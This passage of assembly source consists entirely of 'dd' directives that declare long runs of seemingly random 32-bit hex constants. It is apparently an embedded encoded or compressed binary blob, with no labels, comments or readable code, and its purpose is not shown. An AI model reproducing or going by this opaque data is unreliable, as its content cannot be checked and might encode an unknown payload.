6100EF92h, 0B59CF76Fh dd 4B1A0409h, 907B65C4h, 0C26E8814h, 211D88ACh, 3E51B732h dd 92802688h, 0AF083239h, 33C01EBCh, 0C2688A60h, 0F99E09B5h dd 55840C23h, 62C63116h, 40B36E01h, 41E44483h, 0DE670527h dd 44FBE57Ch, 33A10A4h, 3F694587h, 3780E838h, 0B1142FA4h dd 80A4D6FEh, 22307F0Eh, 0E78A86E2h, 20489271h, 1498E9F2h dd 0AB3E720Dh, 0B28021FCh, 48AFD8C9h, 553CC0F5h, 0A701FC69h dd 1BC9E9Ch, 9EC938Bh, 5CEA07E1h, 0E16A8881h, 61338E78h dd 0A699F0A8h, 0F470B901h, 7E1E8B38h, 0F9CCC4CEh, 0B784C0CEh dd 83C90278h, 795DAE64h, 38608042h, 6043BDF3h, 0C630FDB2h dd 48FB00B6h, 0BBCEB13Ah, 884A319Dh, 3B23842Eh, 0D13A0A02h dd 41D490ABh, 0A570001Dh, 8B848CFDh, 0F4EC5F40h, 3D4D2109h dd 2D6980F5h, 33E6D78h, 17699BCFh, 81F41C14h, 2E9676Ch dd 0F68498AAh, 8120492h, 911F71DAh, 0E0AA427Ch, 5F1D361Bh dd 2243A2EFh, 14AF7h, 0AF54E920h, 6975E38Dh, 16E9938h dd 0F16F5F6Bh, 0EBF4D7EEh, 14200D4Dh, 336904AAh, 30FAA264h dd 87184879h, 0C1990271h, 5CD1005Eh, 0B6CD2395h, 0B80FE0DEh dd 20279DEDh, 0D42EE76Ah, 4FA109D0h, 0F897F0AAh, 9F826491h dd 5040B68Bh, 0F92644AFh, 6B4098DFh, 802770F6h, 9525980Fh dd 5340E1Ch, 0DC54776Eh, 6840004Ch, 741E2299h, 3A19D273h dd 3923E0h, 0DEDFFC2Fh, 7700D250h, 3D5C5B10h, 0A445173h dd 5464867Fh, 632444B0h, 6490B874h, 7D3643CDh, 907AF38Bh dd 3D9CF382h, 414A1E3Dh, 37ADE8B4h, 27E041E1h, 0B3D760D6h dd 79DD9D3Eh, 241EF1D3h, 0F27408h, 0A1B85993h, 9807E2CEh dd 0B49252D5h, 236516D3h, 78303E98h, 0AC9D649Ah, 0A9F344FCh dd 48ABA01Fh, 771EEFC0h, 3421D2Fh, 0E53FBD89h, 9804E26Bh dd 66C2787Ch, 9550CCC1h, 3C1D99A5h, 1181AE11h, 319239CFh dd 13CEF48Dh, 8CC030FDh, 0A87D0D01h, 3DF5883Eh, 62BC3838h dd 300F343h, 243E59B3h, 1C24E6F4h, 0A06FB497h, 0B92F051Dh dd 0FD680984h, 648E907Ch, 895E6604h, 7443C828h, 0F936C09h dd 0B88441E3h, 74079E71h, 0B832B2B5h, 0DC753127h, 0C5246491h dd 0A658B436h, 18AB3D7Bh, 9F93AA02h, 90C53C54h, 30BCF832h dd 67092A98h, 0C555DE91h, 0C02900B4h, 11D1A22Ah, 0D79D2Ch dd 32D5270Fh, 19C804CBh, 0FC995EC0h, 0C070F95Dh, 0F01E4CABh dd 876790Ch, 4E028029h, 5AB05F05h, 0D3948283h, 57B60030h dd 742401A3h, 467EC466h, 0B5820038h, 29C37B08h, 0E0985CD4h dd 0FD27516h, 0EF2D7118h, 38404788h, 0CC1FB0C0h, 3D0D2188h dd 0C602DA91h, 0BF4B1FB8h, 4A98D663h, 1831066Dh, 41935875h dd 6255D6E0h, 0CD541067h, 88AF0840h, 1778AB25h, 8066918Ch dd 0D1645A23h, 2F9109EEh, 28216197h, 238BBCD7h, 0F17AE174h dd 0CA05D00Ch, 0E9FD888h, 0F072D000h, 2E06E2D1h, 1C0167Ch dd 0A3D23BFEh, 0A0B9E4A9h, 26CE8101h, 796E3018h, 27BC1468h dd 2111248Ch, 6DEB0FB2h, 51819D61h, 58A43DE4h, 90362208h dd 3E8B780Dh, 53F860A6h, 63A1A079h, 0B1F40DF3h, 15BB00AEh dd 4A5CB6A6h, 0F64C5BFDh, 5DB44C4Ch, 0FBD08220h, 0F02A237Bh dd 941B4805h, 0BC002D08h, 7F818B78h, 98A10253h, 7D0A79AAh dd 16600227h, 0B55D1F5h, 1C9EF428h, 0F054AC81h, 4458CED8h dd 5C483898h, 0E51410D8h, 0F3430DF8h, 81B40300h, 0ACC5831Eh dd 0DA4AB91Fh, 742C6F40h, 0A82084D9h, 0C79EBCh, 0FD883DD2h dd 0FFEA719Ch, 0E0B05E00h, 102B915Bh, 95F0961Ch, 917B8427h dd 0E9AD78FCh, 758F0086h, 654D714Eh, 8AE2DB6Bh, 7850D074h dd 0E0A772A8h, 18F16442h dd 0A748CBBAh, 66F910E0h, 0EB86570Bh, 0F4EFF8A4h, 0A5240EDCh dd 710C5C03h, 5B9B924h, 33AD300Ch, 72F80158h, 3769262Bh dd 5D19B02Ch, 0B6B500D0h, 0B88B19Dh, 0D100A007h, 0F170DED7h dd 95E0AECh, 0F351EEF5h, 6491CC17h, 6F324080h, 4430065Ch dd 56F6F0CDh, 3D7C0020h, 0CE70BFC3h, 9AECD190h, 72025802h dd 7284627Fh, 86360724h, 0D0E3E6E0h, 1EE5EDCh, 634C520Eh dd 0A00D80F9h, 0FA6A9AEh, 0A5702666h, 0BBCAA7A0h, 0B447195h dd 0A3A60297h, 8839B9B5h, 18600849h, 221F3FB2h, 1618BD23h dd 0BAC421h, 0BD7021Fh, 0EEFEC614h, 787F1B24h, 62DC456Bh dd 0BA18F160h, 0C22701FFh, 0FEC55008h, 258822DFh, 69382076h dd 3A3A349Eh, 878F84EBh, 0CD808C22h, 0D503BB37h, 0D65CA005h dd 0AC006041h, 8E78CE21h, 2534B669h, 2711D417h, 592FEA80h dd 1203983Ah, 67D06BBDh, 0E8500B11h, 74990895h, 40E187Ch dd 1D88CE10h, 15333Dh, 1FB6C821h, 74D4DD41h, 5AE1C10Bh dd 0EC1880EAh, 0DD6BFDD6h, 0FB8709C0h, 0D0F98422h, 0A8987C52h dd 3049F720h, 0EFB15687h, 3F72F938h, 0ED4EDB07h, 2D83CADCh dd 0B9BE2EE2h, 61150h, 0A6FC2927h, 49AE6282h, 5862BC95h dd 0ECF24D47h, 80E8BB54h, 8AD09900h, 21D11ED6h, 84C218F9h dd 0AC397962h, 0B70D0B07h, 0B270512Ch, 2C0B301h, 0FAD87AEBh dd 944DDCE1h, 0F734E7C1h, 4E35FC20h, 38044B75h, 0D20A24A0h dd 0A7126D57h, 0A0C8AAD7h, 0DF8E0442h, 0C0FB1237h, 0ADD009C4h dd 10986777h, 6A18F101h, 356F0FEBh, 0CDE8488Eh, 2BAC184h dd 55E383Ah, 0E98F0660h, 551578F8h, 881C78BDh, 0B9180A79h dd 2FFD82ACh, 0FBE0CCD1h, 2325EDE9h, 91B8179Bh, 497582FBh dd 3C08F20Bh, 533EEA67h, 4E68784h, 79CC5F7h, 2033EC6Dh dd 0D52DF04Eh, 597BFD18h, 4C299CE8h, 3ABC8088h, 5C71128Ch dd 0DC3900BBh, 41449F91h, 76B0F0C5h, 4B3A286Ah, 8BC56480h dd 22307E23h, 9FAD5F0Ch, 0F33A85Eh, 5CE951E0h, 0AE6947C0h dd 92121162h, 30A0509Fh, 1A559066h, 96CCB387h, 0AC19C0C0h dd 30F79180h, 672857E0h, 19C515DEh, 5C907E71h, 9962382Dh dd 2B983424h, 34848504h, 1D0B4A0h, 0A72EAE07h, 0E0CB04D1h dd 0D400D819h, 0C60BD2B9h, 0EDDA01EAh, 0C8B7D0h, 6DED7396h dd 0B2F59EE0h, 0C07A9901h, 0F7ACE89Bh, 5118F0h, 3C243D94h dd 601ED3Fh, 0BF13DD16h, 0BA31BE01h, 0ACF849DCh, 2D400077h dd 2A7AB324h, 3D00A654h, 96EFD008h, 1516F42h, 668243C9h dd 0F4982458h, 0E13F9A11h, 0F88405D3h, 82FEC872h, 0D740E2EDh dd 38E0A49Ch, 0A2250800h, 0A1CC033Ah, 5DD8000Eh, 0C8F55BE8h dd 0BE00F851h, 3559F0CAh, 22DA2Fh, 64D584DDh, 97EF9354h dd 90007FECh, 0F7A66173h, 1FE44A42h, 0F80C5F4h, 79C0630Eh dd 16446C31h, 2F3EA000h, 0D0C88EC7h, 11FC62h, 799B35CFh dd 9D38922h, 0E06EE0CEh, 25AA58D1h, 0F82600C4h, 2145FA10h dd 991C6780h, 3E00CE19h, 3933A331h, 0BFAC0074h, 8B8F171Bh dd 0F8025096h, 0D3A65F43h, 0BDE4A188h, 6FDC3EADh, 25E7300Eh dd 0FF2BDA68h, 8D014CF0h, 0D6F03DEFh, 29C482A3h, 0E152E4C7h dd 234100CBh, 108F3FACh, 83070F74h, 0C5DD638Bh, 0AE827D13h dd 529B0050h, 0D20304C2h, 4F00A9E2h, 317B3F43h, 37F19BEh dd 8D3D6E6Ah, 0F580CD3Ch, 2B26CAE7h, 9E0009B3h, 917F6F44h dd 0AF6D005Ch, 0D102287Dh, 68E88C7Ch, 0C4156703h, 0B082B84Fh dd 131EC46h, 0AC33180Ch, 0CC27BF7Ch, 0F9A03230h, 5E00BAFAh dd 0AB908342h, 6136946h, 4501EC72h, 0BC0F5050h, 402F9F99h dd 1D5E5991h, 39EF0124h, 0E0E8B3FDh, 0C28BFCC6h, 0B5531E00h dd 0A56170FBh, 8E9100EEh, 0ABF8BC85h, 0CB2ACE57h, 7290908Ch dd 802A80Eh, 21A4608Dh, 2FDE16h, 878C38F2h, 9E9F7F74h dd 0CAF4E8E9h, 7E2C3B00h, 5299BA42h, 0D7103E59h, 5BACA380h dd 5ED6ED6Eh, 738C4301h, 0E0142B47h, 5E8BEE8h, 0FC595AEAh dd 34D00409h, 0ADA7406Fh, 27B9422h, 0F80611D9h, 18402547h dd 0CA00A5C5h, 0E49B0162h, 61BD2Bh, 0EFDD7DABh, 99876C42h dd 0D490A9F6h, 0F618E37Dh, 0F3B82E5Dh, 1121075Ch, 0F1E76447h dd 0C4156057h, 0E12C426h, 34002F86h, 9CE8698Ah, 0CAB20B70h dd 749012B4h, 0EA0027ADh, 2B799A81h, 12893DACh, 0F83EE4h dd 0BCFA38ECh, 0B83FA2EBh, 0FFB000Ch, 0CDD1E33Ch, 3A6B3ABBh dd 351AC080h, 8450F976h, 7781170Fh, 38D9414Bh, 79FC57F6h dd 3B1BE026h, 1500377Bh, 0CBA860E4h, 64009BBCh, 9EB3E547h dd 0C845B4h, 0D62BE78Ah, 2856B24Ch, 6B6FA218h, 13B9419h dd 0FA1AEDF9h, 0DF05E075h, 708D80A7h, 810021E9h, 99495F64h dd 7AE4B0h, 52BFCD08h, 0CA3E7135h, 770089B8h, 4F536336h dd 6F911FEh, 0E95B3FA3h, 0BB002108h, 7BE2B7C2h, 709B587h dd 63FA7662h, 36D1B2FFh, 0A500D058h, 722AD3E5h, 0FE15564Fh dd 0A3380018h, 1E66EF42h, 0E7E64474h, 9BC99303h, 98F0177Ch dd 2A3E59h, 3DDECE3Ch, 0CC25DB31h, 9D27AE00h, 785C8C6Ch dd 4F9600C9h, 0E9F91A69h, 9C80F3D7h, 2CDD00E5h, 95963170h dd 0F51D3EC8h, 0DAD49BDFh, 0AE4A7E97h, 0F3518D00h, 0E782E70h dd 5E91F0CCh, 0E40C1119h, 8C0002CDh, 0D9817BA1h, 2057343h dd 38FDBCD2h, 4C008A5h, 660020CEh, 0BEF4C662h, 0E2398245h dd 34B2CAh, 4AA8BD3Dh, 53FFD88Dh, 0C63B6200h, 366BB414h dd 0BB1E8F4h, 324E1CFCh, 83CCE080h, 7E004512h, 62FE7D94h dd 2C47887h, 9C896FDFh, 2FC0AFE7h, 7700DC3Eh, 264DF3EBh dd 8FF7EAh, 0CEACFCE5h, 754284BFh, 15A9C000h, 437E86EEh dd 80460F4Fh, 96E05759h, 539ABF5Fh, 0C3790800h, 0C70A481Dh dd 33BFE03h, 0CD8E3C77h, 69A87516h, 4700BA20h, 6EEC1036h dd 7DBFFh, 1A421DA0h, 2E9E5260h, 0DF962303h, 2FF2D5F1h dd 0B7700320h, 10DD3B00h, 0D21772F6h, 9CFE7Dh, 0DA71EBB1h dd 5BAA0525h, 0A330A500h, 1F1CEA78h, 415400CCh, 629EDC81h dd 2500570Ch, 8B997F63h, 0F52030h, 0E8EAE2ECh, 0BBA59A60h dd 44D39B00h, 0C2F12AB4h, 656916BFh, 0AE8F0093h, 0EFEBF5CDh dd 0B08EBA00h, 349CF8EAh, 26F20156h, 7C7D0795h, 0C470CC48h dd 98927F71h, 0D9B54400h, 89AA0927h, 0B7A11C29h, 31754157h dd 0F52A12D7h, 95206051h, 0DC4F1E03h, 0D9B941ECh, 9B40DAB0h dd 0F05A36h, 0A0197B6Bh, 9C97A68Ah, 19F492Ch, 0FE186E03h dd 0E500A7F1h, 1219D5DAh, 0A211DFE6h, 43137CBCh, 9101F99Fh dd 1E0E34A1h, 0FD7312FCh, 980D7ED4h, 86BD00CCh, 0CFD06A98h dd 1F26D175h, 970084F4h, 19D74B8Bh, 12C400F1h, 74686089h dd 0FB071FFEh, 0E416945h, 0E1B84302h, 120DCD7h, 8A4E0014h dd 51E83482h, 553AAE91h, 6CA8097Ch, 284C5A2Bh, 1EC3A0EBh dd 47BD6706h, 0D1BB6566h, 6D2B7270h, 58D217B4h, 888070C7h dd 0E8224CA5h, 244D005Dh, 7182C62Bh, 5B00B216h, 958B73A7h dd 0ED5FC5h, 0DF8650D2h, 64D44220h, 0EC904001h, 8A3A72B2h dd 46E94084h, 0BCB090F4h, 99C01119h, 6264FA69h, 541E0A93h dd 104056D3h, 72CF00F0h, 16935E35h, 917D0554h, 1C2C6CA9h dd 2C49946Ch, 0A85660Bh, 56EAB580h, 0BA00EEC9h, 98ACE6C5h dd 786CBD4Eh, 0A23B006Dh, 0F5076714h, 120F6E1Eh, 0AEC85C4Ah dd 1FD4274Eh, 0B1F15770h, 357600E9h, 9F7C03DDh, 0DF00A993h dd 8261B290h, 0BB75E8h dd 2CF001EBh, 86046E18h, 7789C00h, 0CAAB19F9h, 4302009Bh dd 0D60E1D2h, 600808Fh, 0CE7B20BAh, 0C3B7DAAh, 32D7EF64h dd 0B3EE1902h, 8708C506h, 3E06ADBh, 319FF471h, 748116CAh dd 13E06D8Eh, 30E2F069h, 7595D603h, 0C3BF3B1Dh, 17C1D739h dd 74C2C40h, 195E1F93h, 509940Ah, 0EE40E048h, 1CF6177Ch dd 0E0B012E8h, 204365Ch, 0F3040AEAh, 8C865400h, 70B7B2Fh dd 804F88BAh, 0F76FB78Ah, 4F344E84h, 7CB01B5Ch, 1267423Ch dd 0ECE0151Dh, 37903087h, 0E76B828h, 8CEB3D3Bh, 5940976Fh dd 0A810190Fh, 100D7812h, 0E59681BFh, 0AAA8142Dh, 7B1078D8h dd 0E17C00A9h, 0F9649967h, 1200937Fh, 65986DFFh, 0C0AB7AF6h dd 210F1020h, 7600A01Fh, 0D4B7FBD6h, 0A6F020h, 0BDA3298Bh dd 9D3DC5D2h, 0F7D9B103h, 0B91989FBh, 91209AC0h, 673C0024h dd 86CF0DA7h, 210E5B18h, 0A17304EAh, 2978D35Ch, 440E6ECh dd 79ACDD06h, 0E9F4801Dh, 0A000BE72h, 0B5A44E0Eh, 0F23F70Fh dd 0A78C8A36h, 0CC080A03h, 0D4016790h, 0D2B0BE03h, 80AF06CEh dd 2E4C9F9h, 0FBF6FA4Ch, 0D0608F8Dh, 7F05371Bh, 0A4B19AF0h dd 7CDD6D80h, 0A0E8ADh, 3BCE288Bh, 15E5278Eh, 9E839C00h dd 56B59B5Fh, 8CA00F3h, 1D9AC2EDh, 0F600FD6Ah, 76246170h dd 0E6BF94C0h, 7AB300D8h, 0D43C548Bh, 0BEF02507h, 0C3AC4800h dd 3ADCD250h, 8761025Ah, 1B9E8B9Fh, 13DFCCA2h, 3037A858h dd 4710598Ah, 0F0BD668Fh, 0C61D00ACh, 7FE3F851h, 905CD9E9h dd 2BB41C74h, 91A45980h, 0C0EC718Bh, 74108A51h, 0E4CFA3Dh dd 148900A8h, 57F6707h, 0F4EB039Ch, 7C650A8Eh, 23B009E3h dd 2F00856Eh, 0BD4626F8h, 1E86F31Ch, 4971819h, 0C064B594h dd 98DD0C0h, 0E4EE800Ch, 3D5A966h, 0A5936E49h, 0BC89C6Fh dd 4D30BC87h, 0CE13B0CAh, 7C902B1h, 48686436h, 29078050h dd 0BA3E2549h, 6ECE8FD0h, 4FF600E4h, 3D340D36h, 673D9A74h dd 0DAB1805Eh, 0C6DEF11Ch, 715ECEAh, 0E058AD1Bh, 922AB08Ch dd 3F037B0Ch, 7423CCE4h, 2FAFC86Eh, 72380E87h, 3AE0EE61h dd 0CC51182Eh, 8CA6B300h, 7CBDA52Ch, 0C5BF13ACh, 4AA8400Eh dd 0BA3FF22Eh, 9D7B0A01h, 55CCB078h, 0D634C8h, 0D8B77A52h dd 9AF6E571h, 60082600h, 783B7C91h, 0EC7512h, 0C13A4F3h dd 72B9D138h, 0BCE871F4h, 0E0DB0700h, 7718C602h, 4BFE04F9h dd 800DEE65h, 1FE7DC7Bh, 0FA79B3F6h, 0C5B0F800h, 33CEAA9Eh dd 68FE46h, 5F8EC1ECh, 69A925ACh, 90617300h, 0F096061Dh dd 4CCE01FAh, 0EC05028Ch, 0EDFDFCB8h, 0CF626501h, 6B9C808h dd 2BA720h, 40C94EAEh, 0E2814AD8h, 3FBB4Ch, 8B9272ABh dd 42EC69Dh, 1095641Ah, 404880DBh, 0AC2423B6h, 281E2C50h dd 26A7D980h, 92D8C50Ah, 0D5F478h, 0A8878245h, 44F5BE3Bh dd 0C5E10700h, 0F788DE8h, 0E006186Ch, 218B10CBh, 52F5360Eh dd 0A0D22F5Fh, 0AD496FD3h, 0A28F003Fh, 969DDEDBh, 84092E6Dh dd 7F4260Dh, 2DF0BD34h, 0A0BCBAB2h, 41F0C2DCh, 754C40E9h dd 0AD07834Fh, 22053A59h, 0A0AE5077h, 0B70BE856h, 922B026Bh dd 2AD6944Ah, 0F80547Bh, 0C3A1E8EFh, 87140021h, 18F8C276h dd 9E3E5EA0h, 9F8F0012h, 0E247E79Ch, 370200CCh, 26AD3FD3h dd 6700E0AEh, 0DC069157h, 3081C43h, 4832E980h, 86E862C8h dd 68006DA5h, 47BC96C7h, 0E2729F58h, 0C14D196Eh, 0C30A58B6h dd 0D51B0480h, 1324AC01h, 0F08181Ah, 607CC4h, 0FBBAFCC1h dd 0B9BBFD23h, 753B5107h, 0CDC0354Ah, 2270B03h, 6E6AB679h dd 0DC409483h, 7A071BD1h, 0B5C4D4DCh, 0BDE2E6B0h, 0F7CD0E14h dd 21002006h, 0C0EC2961h, 86717813h, 0CADE2040h, 1F396B13h dd 0DC5BAE90h, 11650F3Ah, 18FFAA60h, 0CB0042FAh, 2BA0DF15h dd 0B7F685h, 9CBA9B45h, 2DD32125h, 67503B00h, 7D720E92h dd 0AA970E31h, 0AD6906ACh, 1696E880h, 0E0003EB5h, 0B91BE6DDh dd 28BC9F8h, 8CEB6AA2h, 0D8C06ED6h, 2309D0FEh, 48611E0Eh dd 366864h, 16A1C10Fh, 7B597018h, 605BEA00h, 95256BBDh dd 94A0F5Ah, 1F80D878h, 1C93AE7Fh, 2087B600h, 8C0772BAh dd 0BB82302Ah, 9CE2D118h, 0DFB7A501h, 0C35BD632h, 1FBE29C0h dd 2441CCC4h, 0B0658080h, 0C73B0AAEh, 9F7C989Ah, 0E2C9FF0Eh dd 601803DAh, 7EC40008h, 86ED80DFh, 9490D752h, 5A88FA00h dd 0DA09D63Ah, 66FE00FCh, 0FF239B79h, 0CF00C620h, 88DC2561h dd 76391082h, 1EEEAAh, 0C7A33099h, 962CD1F6h, 151F9802h dd 61063304h, 0AC69942Bh, 0E8E7D60Fh, 88C81F85h, 4C00102Ch dd 1B11CC95h, 32C034h, 38D75E7Ah, 0E4631373h, 75486001h dd 4BF66142h, 3BCDD3D8h, 0AA925B30h, 88F70026h, 0DCE206E6h dd 8E002098h, 2F72A901h, 4AD72Eh, 7D94140Ah, 0B0E79DFDh dd 4D8E6500h, 0AEA2E637h, 91B900BEh, 0C464C06Dh, 2D001652h dd 0BF750BC8h, 77F65h, 9BFDBA0Dh, 71D2FC8Ah, 0E7000575h dd 4ED0F49h, 0B81CD643h, 0EFA100BEh, 935C9475h, 0DD00B0AEh dd 7ADA34E5h, 823508h, 99F63BA6h, 1349EAB4h, 7EEC3Ah, 50400363h dd 11CC181h, 0ADFA91C2h, 0D841570Fh, 23006156h, 1832D9C8h dd 1138FD2h, 9D6D952Fh, 0E0D50D64h, 7B00E314h, 9B4A15Ch dd 2773CF03h, 0AC87E2E0h, 7F6D9067h, 28507E9Eh, 5D0060C0h dd 0B9A258A7h, 24EFD15h, 55FE06CFh, 9040BFA4h, 1C00DEF4h dd 0F11F0299h, 0BD3AF9h, 0A634DB8Ah, 847AA488h, 0A90ACA00h dd 0B17EA5B8h, 5D91000Fh, 1C746990h, 0CB0128F7h, 37B74F8Ah dd 0B1DC479Fh, 641400C2h, 661B6D75h, 39E48450h, 1F2A43Ch dd 45B4F01Eh, 0EED41494h, 55640063h, 0D2115F6Bh, 469EDA2Fh dd 4D019400h, 1B0E9D9h, 214F74EFh, 206F5D58h, 0D7000534h dd 86685A5h, 13ABC1EEh, 16C02AC4h, 0EF4080DFh, 0E3B741Fh dd 6339170Ch, 2F855C04h, 42F4FC43h, 0D3110F8h, 0B4B0F000h dd 7807B652h, 9A6A2516h, 4749F897h, 1A8080F0h, 0A9D5C67h dd 0E000624Bh, 0E90B64D9h, 8B949648h, 0F872036Ch, 55769700h dd 541E9166h, 0C0A2378Ah, 0C08E8718h, 67015ED1h, 0D0A2D07h dd 4EE079DDh, 1E83176Ch, 166EE7Dh, 0FCD18C5Ch, 374FF09Bh dd 0C5874500h, 88B64391h, 0D40FB7E0h, 0D3556600h, 0F5606516h dd 806F0E89h, 1250BA0Ah, 36D97F2h, 23276705h, 0FC8562B1h dd 86B064C2h, 10604554h, 0AE201542h, 7BC86F64h, 840034E3h dd 0EECEADDEh, 8B0F4E94h, 0E0152C93h, 80ACE63Ah, 31740E48h dd 0ABE0D03Bh, 5550EA18h, 9C89F000h, 0B70E28B6h, 0F97A99h dd 53E99EADh, 597A6D60h, 6AD93003h, 0A8E079F0h, 9A0201h dd 138BAFB9h, 424E04DAh, 6525700h, 341EDD4h, 565800A8h dd 0A4DE932Ah, 9A1D61F5h, 0E8C7D5E2h, 11A0E3AAh, 981FC9A7h dd 0EE900CEh, 0B2DA17B1h, 411CA2A8h, 0B5C0D105h, 0F7AC4B9Ah dd 0F8B0BE01h, 76000735h, 0CD08C6F5h, 7C032826h, 387C7Eh dd 423CDD83h, 0E83FF28Dh, 0C73AA300h, 0DF6EA4ADh, 0DEE865h dd 0F66D0224h, 0CA720B35h, 0E809F30Eh, 214E84E5h, 0D88878A8h dd 932CFC0h, 9F0E90EAh, 0AC1CE814h, 8B023227h, 20EDAA43h dd 9D4E3AD0h, 0F0B00200h, 2FEABACFh, 66A17F3h, 6EC4A034h dd 0D0E73604h, 0ACFC73ADh, 3A00584Ch, 1162C23Eh, 0FCA83B81h dd 0C65E688Ah, 8DD67480h, 0C44E4Fh, 26653A8Ch, 0DF4ED072h dd 0DA51A0C0h, 6FB81416h, 3EE02086h, 5E862ECAh, 0C04CDA3Dh dd 3A093034h dd 38F71091h, 0BB7D5062h, 2A299D3Dh, 0D600DC78h, 91AAB780h dd 10E7DAFh, 76819BEEh, 0FC628915h, 0FA27AE25h, 76CC316Bh dd 23102E6Eh, 5CEA0038h, 267845C2h, 0ECCB0D03h, 0D029A6h dd 937F660h, 0B3D5F45Eh, 0DCD148h, 788B7A33h, 95395107h dd 0DE7BB099h, 0F18F8957h, 0A1AC6068h, 4974DDABh, 8C5D6B0Eh dd 1A9243E5h, 0FA7BA942h, 0F7D8F000h, 54C7084Eh, 0F6788AD0h dd 703DF109h, 0BF247280h, 0B709F75Ah, 0F93CB953h, 18DB7178h dd 0E860EB0Dh, 63230347h, 5CBBADEAh, 3485885Bh, 25236C2Fh dd 9B224800h, 7E3CD07Fh, 647913D5h, 1CD0E4FDh, 1873D318h dd 0A87C0AD0h, 6634F8h, 776444A2h, 0D327CBB2h, 0CF012898h dd 6D1A19Dh, 90D49C67h, 0F88EFACAh, 8A4B02ECh, 1FBB4663h dd 404E3074h, 0C74E2B7Dh, 0E9730053h, 2235406h, 68A55DFDh dd 8D6339C4h, 7C7F22C0h, 0E47090B7h, 0D1C912B2h, 4E841C05h dd 208BBFADh, 378D3C48h, 0A441EF41h, 0AC31AAA9h, 0D4FAFDC5h dd 919C015Ch, 6407526Bh, 0AD1E870Ch, 7506672Ch, 44386111h dd 0AE1280A1h, 50808C3Bh, 9DDCC89Ah, 6508EC97h, 0DA7862F1h dd 7ECA2841h, 0E1132000h, 9D5E9D73h, 65919C17h, 9D81B080h dd 9DFE60h, 13942B4Ch, 0C4E0CFFFh, 1CD1DE69h, 3C4C9F04h dd 425E8004h, 8426F373h, 1F4078ACh, 8808A2C2h, 380725B8h dd 8CA91D1Bh, 0D7B9B2E0h, 649D49BFh, 3AB7D81Eh, 6E00913Eh dd 61238AF4h, 0B201D519h, 6D292666h, 413EC85Ah, 8BFC12Ch dd 0CA698079h, 318B47Fh, 0C00C0187h, 0FB35AFA9h, 72A3202Ah dd 0FFA80712h, 9EE2DC40h, 0E22EED5h, 0BCD6BDFBh, 0A7AE160h dd 0F6006C5Dh, 1ECC7576h, 0C038A15Fh, 627E5878h, 201379BCh dd 2D09B79Bh, 7074D93Dh, 5086E9DBh, 12438342h, 41EEF24h dd 0CA4607D0h, 0A26C5314h, 3811302Eh, 20BBAF00h, 689C3FEAh dd 19C23B80h, 8030DBDEh, 70F434CBh, 0B87D3E2Bh, 5045392Fh dd 0C46025E4h, 6D00F410h, 8B311DFh, 2595D7DEh, 28514D6Fh dd 8A18ACD9h, 290012E0h, 25849B9Eh, 3F60D198h, 0C527C1DEh dd 644294E7h, 0D7C01AF1h, 0E136740h, 0CA0AF8Dh, 699C2087h dd 82160390h, 912439Bh, 78628020h, 9822F3B6h, 0DC71D48Bh dd 7318F779h, 64542601h, 457110C9h, 13C2E16Eh, 83A8D1A8h dd 0B499090Ch, 0EE80C01Dh, 5822B399h, 337ACDh, 7B507FD7h dd 9E137A5Fh, 0C03B7837h, 612D9600h, 4493E433h, 6D3B2705h dd 5AC4C17h, 0F38413E9h, 3ABC98FCh, 0A27D038Ch, 5371CA68h dd 2DA4E2E5h, 0C45CC506h, 67260F0h, 37261DA7h, 85A45767h dd 964801BCh, 239E60EFh, 0E5137170h, 0D837FEA3h, 5F0B82h dd 0B1DE64CDh, 0B7B70C92h, 0C3EC1E1Ch, 0F5DE4746h, 7F274886h dd 6414C88Ah, 1E553E0Eh, 85C8605Dh, 6F7C452Dh, 0D3DD8571h dd 36A232C0h, 1C0BE81Eh, 0E79F901Ch, 0D647D4C0h, 70C1E974h dd 0BD4F75F6h, 7CA572CCh, 7EA8134Ch, 92A00086h, 0F3AB8451h dd 379E84A1h, 7D807508h, 2B5900A3h, 0D302E022h, 0CAF63D2Dh dd 21083566h, 2A8A1221h, 0C0261FE0h, 0BE4D89A4h, 1C075EA5h dd 72DE1877h, 715F8E10h, 0D9CF03C2h, 4A81F711h, 0FF5A2000h dd 0CE17A4D4h, 286F638Eh, 580075F3h, 8785D24Bh, 307BD03h dd 5128F054h, 5CA8C5AEh, 95304F3Dh, 467D2893h, 9BFA1Bh dd 415F14C2h, 86F69F8Bh, 390E2C00h, 0E5D4FB1Dh, 0FA7800EFh dd 0D2A0F065h, 9D7C598Fh, 0F722401Dh, 9F955C86h, 4430151h dd 51A210Dh, 1DED3030h, 218F08CCh, 0D0C005Eh, 0F5AEA3F6h dd 5F3C905Bh, 0E52F00D6h, 59F97721h, 428A49Bh, 1A220D01h dd 2048621Dh, 0F0D0963h, 0AEE16803h, 90581A2Fh, 2A0BA110h dd 28878F4h, 649C075Dh, 80854CF2h, 608444FAh, 403B0FA1h dd 0D25EC69Ch, 65321CE7h, 0FB5B86B7h, 7830698Ah, 0DCA3084Ah dd 0EE23079Fh, 50FAA64Eh, 0E390C53h, 5A381500h, 0F6D2FB7Fh dd 1C593295h, 73061D1h, 211AFA0Dh, 8B912FEDh, 0D0F5D00h dd 4E193905h, 0DEDB5B05h, 0F0036AEAh, 19C9590h, 0E7492929h dd 805078FAh, 9DF64299h, 5A77514h, 656916C7h, 1095102Dh dd 0AA3D3E00h, 5BD6EB78h, 9BC98D14h, 5F9E14C1h, 1C450CF4h dd 539118h, 6FF0720Bh, 0EA173A48h, 2351F200h, 6C4BD409h dd 5944621Dh, 68481C71h, 0B100A16Bh, 0BDD935E3h, 11956A7h dd 8A049FE5h, 2489C787h, 20521428h, 0D09218E8h, 52635949h dd 62F1DC13h, 4AC0CA3h, 827E16Ah, 582C989Ah, 0D6CBC400h dd 4F2548CEh, 2360DC51h, 6B9C0401h, 691824F2h, 4C3488h dd 0E5F1159Ch, 9D682E06h, 67F03091h, 0B82001A3h, 0BFE53FDDh dd 9E28DCB0h, 731F3Eh, 0DA94C1B2h, 30EC10BDh, 1118B825h dd 1200E475h, 58B2228Bh, 31CF9E15h, 0CD210FA8h, 9E3603Ah dd 0EE7DB400h, 0D62B6F4Dh, 5215005Ah, 4D1C3EDh, 0AF3A496Dh dd 1F8060F6h, 0E6A5C16h, 1150422Dh, 409622Ch, 0C73C2050h dd 0CB00E690h, 3817DAE9h, 606C819h, 8B13C364h, 0F2002909h dd 0CCB96CDFh, 1141053h, 3FCFB78Dh, 86092011h, 80F6B8D8h dd 5FB00059h, 8AC33729h, 1900D661h, 73F701A9h, 60E74DC9h dd 0AD2578D0h, 0B740A49Fh, 6D37E1Eh, 82CDE824h, 11E48873h dd 61142530h, 0CB9B410h, 0FEA921B7h, 0DF82944h, 796EF830h dd 19604153h, 0C09C0880h, 